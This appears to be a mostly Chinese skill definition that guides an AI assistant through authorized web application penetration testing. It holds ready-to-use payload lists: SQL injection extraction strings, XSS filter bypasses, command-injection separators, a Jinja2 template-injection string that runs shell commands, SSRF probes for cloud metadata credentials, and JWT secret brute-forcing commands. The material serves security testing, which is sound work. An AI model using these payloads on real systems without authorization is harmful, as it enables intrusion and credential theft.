Web Application Security Testing

Web 应用安全测试

目的

让 Claude 协助开展全面的 Web 应用安全评估，涵盖 OWASP Top 10、注入测试、API 安全、身份验证分析和客户端安全。Claude 会分析应用行为、生成测试载荷、审查源代码并生成结构化漏洞报告。

需要授权：所有测试都必须仅针对已授权的目标进行。测试前请确认范围并取得书面授权。

---

触发条件

用户询问以下内容时，此技能将被激活：

• OWASP Top 10 测试或评估方法
• SQL 注入、XSS、SSRF、SSTI、命令注入测试
• API 安全测试（REST、GraphQL、SOAP）
• 身份验证绕过、会话管理漏洞
• 用于授权测试的 Web 应用防火墙（WAF）绕过
• CORS、CSP 或安全标头分析
• OAuth/OIDC 安全审查
• JWT 分析或操作
• Burp Suite 或 OWASP ZAP 使用指南
• Web 漏洞报告撰写

---

前置条件

pip install requests beautifulsoup4 urllib3 lxml

推荐工具：

• Burp Suite Community/Pro — Web 代理和扫描器
• OWASP ZAP — 开源 Web 扫描器
• sqlmap — 自动化 SQL 注入测试（仅限授权使用）
• Nikto — Web 服务器扫描器
• ffuf / feroxbuster — Web 模糊测试工具
• jwt_tool — JWT 分析和操作工具

---

核心能力

1. OWASP Top 10 评估

用户要求评估 OWASP Top 10 漏洞时：

#	漏洞	Claude 的评估方法
A01	访问控制失效	测试 IDOR、路径遍历、强制浏览、权限提升
A02	加密失效	审查 TLS、检查敏感数据暴露和弱算法
A03	注入	测试所有输入是否存在 SQLi、NoSQLi、操作系统命令、LDAP、SSTI 注入
A04	不安全设计	审查架构中是否缺少安全控制
A05	安全配置错误	检查默认设置、错误信息泄露、目录列表、调试模式
A06	易受攻击的组件	审查第三方库和框架版本
A07	身份验证与身份失效	测试会话管理、暴力破解、多因素身份验证、凭据存储
A08	软件与数据完整性失效	检查更新机制、反序列化、CI/CD 安全
A09	日志记录与监控失效	验证日志覆盖范围和告警机制
A10	SSRF	测试 URL 参数、Webhook、导入功能

2. 注入测试

用户要求测试注入漏洞时：

输入发现——映射所有注入点：

GET/POST parameters
URL path segments (/users/INJECT/profile)
HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie)
JSON body fields {"name": "INJECT"}
XML body fields <name>INJECT</name>
GraphQL variables {query: "{ user(name: \"INJECT\") }"}
File upload names and metadata

SQL 注入测试方法：

Step 1: Detection — Test for error-based confirmation
  ' → SQL error = likely vulnerable
  ' OR '1'='1 → true condition
  ' OR '1'='2 → false condition
  ' AND SLEEP(5)-- - → time delay = blind SQLi

Step 2: Fingerprint the database
  ' AND 1=CONVERT(int,@@version)-- - → MSSQL version
  ' AND 1=1 UNION SELECT @@version-- - → MySQL
  ' AND 1=(SELECT 1 FROM dual)-- - → Oracle

Step 3: Extraction (authorized PoC only)
  ' UNION SELECT null,username,password,null FROM users-- -

SQLi 载荷库：

-- Basic detection
'
''
`
')
'))
' OR '1'='1'--
' OR 1=1--
" OR "1"="1
' OR 'x'='x

-- MySQL time-based blind
' AND SLEEP(5)-- -
' OR SLEEP(5)=0-- -

-- MSSQL time-based blind
'; WAITFOR DELAY '0:0:5'-- -

-- PostgreSQL time-based blind
'; SELECT pg_sleep(5)-- -

-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- UNION enumeration
' ORDER BY 1-- -  (increment until error to find column count)
' UNION SELECT null-- -
' UNION SELECT null,null-- -
' UNION SELECT null,null,null-- -

XSS 测试方法：

Step 1: Find reflection points
  Input: test123  →  Search in source for "test123"
  What HTML context is it in?
    • HTML content: <p>test123</p>
    • Attribute: <input value="test123">
    • JavaScript: var x = "test123";
    • URL: href="test123"

Step 2: Test basic payload for context
  HTML content:    <script>alert(1)</script>
  Attribute:       " onmouseover="alert(1)
  JavaScript:      ";alert(1);//
  URL:             javascript:alert(1)

Step 3: Bypass filters
  Case variation:  <ScRiPt>alert(1)</ScRiPt>
  No parentheses:  <img src=x onerror=alert`1`>
  No script tag:   <img src=x onerror=alert(document.domain)>
  SVG:             <svg onload=alert(1)>
  Template:        {{constructor.constructor('alert(1)')()}}

命令注入测试：

# Linux injection separators
; id
| id
& id
&& id
`id`
$(id)
%0aid

# Windows injection separators
& whoami
| whoami
; dir
%26 dir

# Blind detection via time delay
; sleep 5
| timeout 5
& ping -n 5 127.0.0.1

# Blind detection via DNS callback (use Burp Collaborator or interactsh)
; nslookup YOUR-CALLBACK-DOMAIN.com

SSRF 测试方法：

Step 1: Find URL input points
  - Import functionality (import from URL)
  - Webhooks (send notification to URL)
  - Document converters (URL to PDF)
  - Image loading from URL
  - API calls with URL parameters

Step 2: Test basic SSRF to internal resources
  http://127.0.0.1/
  http://localhost/
  http://192.168.1.1/           # Default gateway
  http://169.254.169.254/       # AWS metadata
  http://metadata.google.internal/  # GCP metadata
  http://[::1]/                 # IPv6 localhost

Step 3: Test cloud metadata services (AWS example)
  http://169.254.169.254/latest/meta-data/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

Step 4: SSRF filter bypass techniques
  http://[email protected]     # URL confusion
  http://0177.0.0.1/            # Octal encoding
  http://2130706433/            # Decimal encoding
  http://[::1]/                 # IPv6
  http://localhost.evil.com/    # DNS rebinding

SSTI 测试：

# Universal detection probes
{{7*7}}           → 49 (Jinja2, Twig, Freemarker)
${7*7}            → 49 (FreeMarker, Velocity, Mako)
<%= 7*7 %>        → 49 (ERB/Ruby)
#{7*7}            → 49 (Pug/Jade)

# Jinja2 (Python Flask) — confirm RCE path
{{config}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Twig (PHP Symfony)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

3. API 安全测试

用户要求测试 API 安全时：

API 测试清单：

Authentication:
[ ] Endpoints accessible without token? (missing auth)
[ ] JWT validation: alg:none attack, weak secret, expired token accepted?
[ ] API keys in URL parameters (logged in proxy logs)
[ ] Basic auth over HTTP (not HTTPS)

Authorization:
[ ] BOLA — Change object ID to access other users' data
  GET /api/users/123/orders → try /api/users/124/orders
[ ] Mass assignment — POST with extra privileged fields
  {"username":"user","role":"admin","isAdmin":true}
[ ] Function-level access — access admin endpoints as regular user
  GET /api/admin/users (as non-admin)

Input Validation:
[ ] SQL injection in API parameters
[ ] JSON injection in body
[ ] Rate limiting — rapid requests cause DoS or bypass?
[ ] Request body schema — what happens with extra/unexpected fields?

Data Exposure:
[ ] Response contains sensitive fields not needed by client?
[ ] User A can see User B's PII?
[ ] Error messages reveal internal structure?
[ ] Debug endpoints exposed? /api/debug, /api/swagger, /api/docs

GraphQL 专项测试：

# Introspection — should be disabled in production
{ __schema { types { name fields { name } } } }

# Batch query abuse
[{"query":"{ user(id:1) { name } }"},
 {"query":"{ user(id:2) { name } }"},
 ...repeated 1000 times...]

# Circular query DoS
{ user { friends { friends { friends { name } } } } }

JWT 分析：

# Decode JWT without verification
jwt_tool JWT_TOKEN_HERE -d

# Test alg:none attack
jwt_tool JWT_TOKEN_HERE -X a

# Test algorithm confusion (RS256 to HS256)
jwt_tool JWT_TOKEN_HERE -X k -pk public.pem

# Brute force weak secret
jwt_tool JWT_TOKEN_HERE -C -d /usr/share/wordlists/rockyou.txt

4. 身份验证与会话测试

用户要求测试身份验证时：

会话令牌分析：

Entropy check:
[ ] Token length sufficient? (≥128 bits recommended)
[ ] Token appears random? (not predictable, sequential, or time-based)
[ ] Test: collect 10+ tokens, check for patterns

Session management:
[ ] Session invalidated on logout? (test by reusing old token)
[ ] Session invalidated on password change?
[ ] Concurrent session limits? (same user, multiple locations)
[ ] Session fixation: set your own session ID before auth, does it persist?
[ ] Secure and HttpOnly flags on session cookie?
[ ] SameSite attribute set? (CSRF protection)

Password security:
[ ] Minimum complexity enforced?
[ ] Account lockout after N failed attempts?
[ ] Password exposed in HTTP response or logs?
[ ] Forgot password link single-use and time-limited?
[ ] Password reset token in URL? (appears in logs/referer)

OAuth 2.0 测试：

[ ] State parameter present and validated? (CSRF in OAuth flow)
[ ] Redirect URI strictly validated? (open redirect)
[ ] Authorization code reusable? (should be single-use)
[ ] PKCE implemented for public clients?
[ ] Client secret exposed in JavaScript source?
[ ] Scope validation — can client request broader scopes than expected?

5. 安全标头评估

用户要求审查安全标头时：

# Check all security headers for a target
import requests
headers_to_check = {
    "Strict-Transport-Security": "Required; max-age>=31536000",
    "Content-Security-Policy": "Required; restrict sources",
    "X-Content-Type-Options": "nosniff",
    "X-Frame-Options": "DENY or SAMEORIGIN",
    "Referrer-Policy": "strict-origin-when-cross-origin",
    "Permissions-Policy": "Restrict sensitive features",
    "Cache-Control": "no-store for sensitive endpoints",
}

CORS 配置错误测试：

# Test 1: Arbitrary origin reflected
requests.get(url, headers={"Origin": "https://evil.com"})
# Vulnerable if response contains: Access-Control-Allow-Origin: https://evil.com

# Test 2: Null origin
requests.get(url, headers={"Origin": "null"})
# Vulnerable if response contains: Access-Control-Allow-Origin: null

# Test 3: Subdomain bypass
requests.get(url, headers={"Origin": "https://evil.target.com"})
# Vulnerable if attacker can register evil.target.com or use XSS

---

漏洞报告模板

## Web Security Finding: [Title]

**ID:** WEB-[Number]
**Severity:** [Critical / High / Medium / Low / Info]
**CVSS v3.1:** [Score] | [Vector string]
**CWE:** [CWE-ID — CWE Name]
**OWASP:** [A0X — Category]

### Affected Endpoint
**URL:** `https://target.com/api/endpoint`
**Method:** POST
**Parameter:** `id`

### Description
[Clear description of the vulnerability and why it's a risk]

### Reproduction Steps
1. Navigate to `https://target.com/api/endpoint`
2. Send the following request:

POST /api/endpoint HTTP/1.1 Host: target.com Content-Type: application/json

{"id": "1' OR '1'='1"}

3. Observe the response contains [evidence of vulnerability]

### Impact
[Business and technical impact — data exposure, account takeover, RCE, etc.]

### Evidence
[Screenshot description, response snippet, or sanitized PoC output]

### Remediation
[Specific fix with code example if applicable]

---

脚本参考

owasp_scanner.py

python scripts/owasp_scanner.py --url https://target.com --output report.json
python scripts/owasp_scanner.py --url https://target.com --tests a01,a03,a07

api_security_tester.py

python scripts/api_security_tester.py --spec openapi.yaml --base-url https://api.target.com --output results.json

---

技能集成

条件	相邻技能
在侦察过程中发现 Web 应用	← 技能 01（侦察与 OSINT）
发现易受攻击的组件	→ 技能 02（漏洞扫描器）
为已确认的漏洞开发 PoC	→ 技能 03（漏洞利用开发）
为发现的问题生成 CSOC 告警	→ 技能 11（CSOC 自动化）

---

参考资料

• OWASP Top 10 2021
• OWASP Testing Guide v4.2
• OWASP API Security Top 10
• PortSwigger Web Security Academy
• PayloadsAllTheThings
• HackTricks Web Pentesting

---

v3.0 增强（2026 年更新）

当前 Web 和 API 攻击面：

• OWASP API Security Top 10（2023） — 将测试 BOLA/IDOR（API1）、身份验证失效（API2）、对象属性级授权失效／批量赋值（API3）、资源消耗不受限制（API4）和 SSRF（API7）作为一等测试项，与 Web Top 10 并列。
• SSRF → 云元数据 — 始终尝试访问云 IMDS（169.254.169.254、GCP metadata.google.internal、Azure IMDS），并要求采用 IMDSv2／跳数限制防护（→ Skill 10）。
• HTTP 请求走私 — 针对前端／后端组合测试 CL.TE/TE.CL/CL.CL 不同步，以及 HTTP/2 降级走私。
• JWT 和 OAuth/OIDC — alg=none、算法混淆（RS256→HS256）、kid 注入、弱密钥；OAuth 流程：滥用 redirect_uri、PKCE 降级、同意钓鱼、设备码钓鱼。
• 客户端与模板 — 原型污染、DOM 劫持、按引擎测试 SSTI，以及通过变异／清理器绕过实现的新型 XSS。
• GraphQL — 滥用内省、批处理／DoS、嵌套查询深度，以及字段级授权缺失。

**精确性规则：**每项发现都必须附带可复现的请求／响应、受影响的参数，以及在正确接收点实施的参数化／编码修复。